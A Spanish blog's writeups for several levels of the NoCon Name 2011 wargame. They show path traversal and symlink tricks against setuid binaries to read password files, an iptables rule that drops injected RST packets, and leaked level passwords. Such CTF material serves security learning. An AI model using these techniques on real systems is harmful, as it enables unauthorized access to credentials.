La otra línea extraña es sync. Si no ejecutamos sync y debido a la naturaleza buffereada de las escrituras al fichero, ocurrirá que aún no se habrán escrito todos los datos en el fichero y las últimas líneas no aparecerán, con lo que no encontrará "perdiendo dinero" y se ejecutará el tail de un fichero que lo más probable es que no tenga la contraseña al final (curiosamente entre egrep y tail sí que se llega a terminar la escritura del fichero, y tail si que muestra el "perdiendo dinero". Haciendo un sync antes del kill, obligamos al sistema a escribir todo lo que hay en los bufferes, entre otras cosas lo que arbitraje haya escrito en el fichero temporal, de esta forma nos aseguramos que egrep y tail se ejecuten sobre el fichero correcto y no parte del mismo.

Puedes bajarte el pdf aquí.

Writeup level2 del wargame de la NoCon Name 2011

Al loguearnos como level1 veremos el binario aceptacion_licencia y el fichero de texto gpl.txt. Si ejecutamos el binario veremos que lo que hace es mostrar el fichero gpl.txt. Al analizar el código fuente del programa vemos lo siguiente:

int main() {
   char *args[] = {"/bin/more", "gpl.txt", (char *)0};
   setresuid(1003, 1003);
    printf("Pulsa una tecla para aceptar la licencia GPL...");
    getchar();
   execve("/bin/more", args);
}

Vemos que el fichero gpl.txt que se va a leer no tiene ruta absoluta... por lo tanto se leerá el fichero gpl.txt que haya en el path donde esté cuando ejecute el binario }:).

Hacemos lo siguiente:

$ find / -type d -perm -0002 2>/dev/null
/var/lock
/var/tmp
/dev/shm
$ cd /var/tmp
$ ln -s /home/level1/password.txt gpl.txt
$ /home/level1/aceptacion_licencia
Pulsa una tecla para aceptar la licencia GPL...
qe!U_~!;Eu37]YN

Y ya tenemos la contraseña de level2. Lo que hemos hecho es buscar un directorio donde tengamos permisos de escritura (por ejemplo /var/tmp), y luego creamos allí un enlace simbólico al fichero password.txt que queremos leer... ese enlace se llamará gpl.txt. Luego a la hora de ejecutar el binario (estando situado en /var/tmp, donde hay un fichero gpl.txt que es un enlace a password.txt), este leerá el fichero gpl.txt desde donde estamos ejecutando, por lo que leerá el enlace simbólico, que lo llevará hasta el fichero password.txt y nos lo imprimirá en pantalla.

Puedes bajarte el pdf aquí.

Writeup level1 del wargame de la NoCon Name 2011

Nos logueamos como level0 y veremos que tenemos en el home, con los típicos permisos de wargame, el binario lectura_informes y (suponemos) su código fuente escrito en C. Lo suyo sería ejecutarlo y ver un poco como se comporta, nosotros hemos ido directamente al fuente.

No hace falta ni comprenderlo entero, aunque tampoco es que sea muy complejo. Podemos apreciar que lo que se hace es imprimir todos los bytes de un fichero compuesto por "/home/level0/informes/<codigo que nos pedirá y le pasaremos>".

No hace falta programar exploit de ningún tipo, podemos simplemente hacer lo siguiente:

$ ./lectura_informes
Introduce el codigo del informe que quieres visualizar:
../password.txt
1k8{[1~dF73~)6

Y ya tenemos la password de level1. Lo que esta ocurriendo aquí es que en el programa, a la hora de construir la ruta al fichero que se leerá no se está comprobando si el código pasado tiene referencias a otros niveles, por lo tanto hemos construido "/home/level0/informes/../password.txt", el "../" nos sacará de la carpeta "informes/" con lo cual nos quedaremos en "/home/level0/" y en ese nivel si existe el fichero password.txt. Además el programa lo puede leer porque tiene EUID de level1 debido a que su dueño es level1 y tiene suid activo.

Puedes bajarte el pdf aquí.

Writeup level0 del wargame de la NoCon Name 2011

Pasado el wargame de la NoCon Name 2011, publico los writeups que escribí para los mismo y que me sirvieron para acabar segundo a 20 puntos de mit. Se que las imagenes se ven fatalmente ahora mismo, pero creo que les interesará más leer las soluciones que verlo bonito. Empezamos.

Lo primero que nos ocurre es que no podemos conectar por SSH. En las propias bases parece dar una pista: "Analiza bien las comunicaciones. Analiza bien los paquetes enviados y recibidos. Por favor, no ignores ESTE mensaje, sólo lo que sea necesario". Si hacemos caso de lo que dice y analizamos el tráfico entre las máquinas a la hora de realizar una conexión SSH:




Vemos que durante el 3-way handshake para el establecimiento de la conexión, la máquina virtual envía dos paquetes uno con flags TCP RST y ACK antes de otro con el segundo paso del 3-way handshake (SYN, ACK), con lo cuál se resetea la conexión y el cliente ssh nos dice "connection refused". No nos hemos parado a plantearnos de dónde viene esto, pero nos hace pensar que se trata de algún truquillo que han puesto en la máquina virtual para que no sea tan sencillo conectarse. Como bien nos decía la pista, vamos a ignorar sólo lo que sea necesario, así que en nuestra máquina hacemos:

$ sudo iptables -A INPUT -i vmnet8 -p tcp --sport 22 --tcp-flags RST,ACK RST,ACK -j DROP

Estamos metiendo una regla en el cortafuegos para que todos los paquetes provenientes de la interfaz vmnet8 (la que conecta nuestra máquina real con la virtual) puerto 22 (el de SSH) y que tenga los flags TCP RST y ACK activos los ignore. Con esto ese paquete maligno será ignorado, luego vendrá el de SYN,ACK y nuetra máquina en vez de con un RST responderá con el ACK del último paquete del 3-way handshake.

Puedes bajarte el pdf aquí.